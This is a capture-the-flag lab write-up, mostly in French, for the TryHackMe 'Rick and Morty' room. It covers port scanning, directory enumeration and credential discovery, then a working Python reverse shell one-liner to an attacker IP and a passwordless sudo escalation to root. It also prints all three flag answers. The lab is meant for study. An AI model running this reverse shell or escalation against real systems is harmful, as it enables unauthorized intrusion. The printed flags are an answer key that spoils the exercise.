

# Rick and Morty

// easy room //



## Scanning

[Apr 14, 2025 - 12:02:49 (CEST)] exegol-TryHackMe RickAndMorty # nmap -sS -sV -Pn -p- rick -vv | tee nmap\_result.txt

```
Starting Nmap 7.93 ( https://nmap.org ) at 2025-04-14 12:04 CEST
NSE: Loaded 45 scripts for scanning.
Initiating SYN Stealth Scan at 12:04
Scanning rick (10.10.167.154) [65535 ports]
Discovered open port 22/tcp on 10.10.167.154
Discovered open port 80/tcp on 10.10.167.154
SYN Stealth Scan Timing: About 38.74% done; ETC: 12:06 (0:00:49 remaining)

Completed NSE at 12:08, 0.32s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 12:08
Completed NSE at 12:08, 0.38s elapsed
Nmap scan report for rick (10.10.167.154)
Host is up, received user-set (0.097s latency).
Scanned at 2025-04-14 12:04:41 CEST for 248s
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE REASON          VERSION
22/tcp    open  ssh      syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

## Enumération

[Apr 14, 2025 - 12:02:42 (CEST)] exegol-TryHackMe RickAndMorty # gobuster dir -u http://rick -w /usr/share/seclists/Discovery/Web-Content/big.txt -x txt,html,js,zip,php

/assets	(Status: 301)	[Size: 297] [--> http://rick/assets/]
/denied.php	(Status: 302)	[Size: 0] [--> /login.php]
/index.html	(Status: 200)	[Size: 1062]
/login.php	(Status: 200)	[Size: 882]
/portal.php	(Status: 302)	[Size: 0] [--> /login.php]
/robots.txt	(Status: 200)	[Size: 17]
/robots.txt	(Status: 200)	[Size: 17]
/server-status	(Status: 403)	[Size: 269]

## Code source

```
<!DOCTYPE html>
<html lang="en">
<head>
  <title>Rick is sup4r cool</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="assets/bootstrap.min.css">
  <script src="assets/jquery.min.js"></script>
  <script src="assets/bootstrap.min.js"></script>
  <style>
    .jumbotron {
      background-image: url("assets/rickandmorty.jpeg");
      background-size: cover;
      height: 340px;
    }
  </style>
</head>
<body>

  <div class="container">
    <div class="jumbotron"></div>
    <h1>Help Morty!</h1></br>
    <p>Listen Morty... I need your help, I've turned myself into a pickle again and
this time I can't change back!</p></br>
    <p>I need you to <b>*BURRRRP*</b>...Morty, logon to my computer and find the last
three secret ingredients to finish my pickle-reverse potion. The only problem is,
I have no idea what the <b>*BURRRRRRRRRP*</b>, password was! Help Morty, Help!</p>
</br>
  </div>

  <!--

    Note to self, remember username!

    Username: R1ckRul3s

  -->

</body>
</html>
```

On un username : R1ckRul3s

## Hydra

Aucun résultat

## Robots.txt

Wubbalubbadubdub

On a cette phrase, peut-être le password

## Panel.php

On a réussi à accéder au panel, on passe maintenant à l'exploitation

## Exploitation

Command Panel

Commands

Execute

Sup3rS3cretPickl3Ingred.txt  
assets  
clue.txt  
denied.php  
index.html  
login.php  
portal.php  
robots.txt

J'accède directement via l'URL : Sup3rS3cretPickl3Ingred.txt

## Sup3rS3cretPickl3Ingred.txt

```
mr. meeseek hair --- > First flag
```

## clue.txt

```
Look around the file system for the other ingredient.
```

Cela indique donc que maintenant, il faut avoir accès à la machine, aller aux fichiers systèmes pour avoir les autres.

## Reverse shell

'python' était autorisé comme commande, j'ai envoyé ce reverse :

```
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.26.178",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
```

```
www-data@ip-10-10-167-154:/var/www/html$ id  
id  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
www-data@ip-10-10-167-154:/var/www/html$
```

## 2nd Flag

Il est dans /home/rick

on avait les droits de lecture sur 'second ingrédients'

```
cat 'second ingrédients'
```

```
www-data@ip-10-10-167-154:/home/rick$ cat 'second ingredients'  
cat 'second ingredients'  
1 jerry tear
```

## Shell as Root

```
www-data@ip-10-10-167-154:/var/www/html$ sudo -l  
sudo -l  
Matching Defaults entries for www-data on ip-10-10-167-154:  
    env_reset, mail_badpass,  
  
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin  
  
User www-data may run the following commands on ip-10-10-167-154:  
    (ALL) NOPASSWD: ALL
```

Cela signifie, qu'avec sudo, on peut lancer n'importe quelle commande, sans password :

```
www-data@ip-10-10-167-154:/home$ sudo su -  
sudo su -  
root@ip-10-10-167-154:~# ls
```

## 3rd Flag

```
root@ip-10-10-167-154:~# cat 3rd.txt  
cat 3rd.txt  
3rd ingredients: fleeb juice
```

**FIN**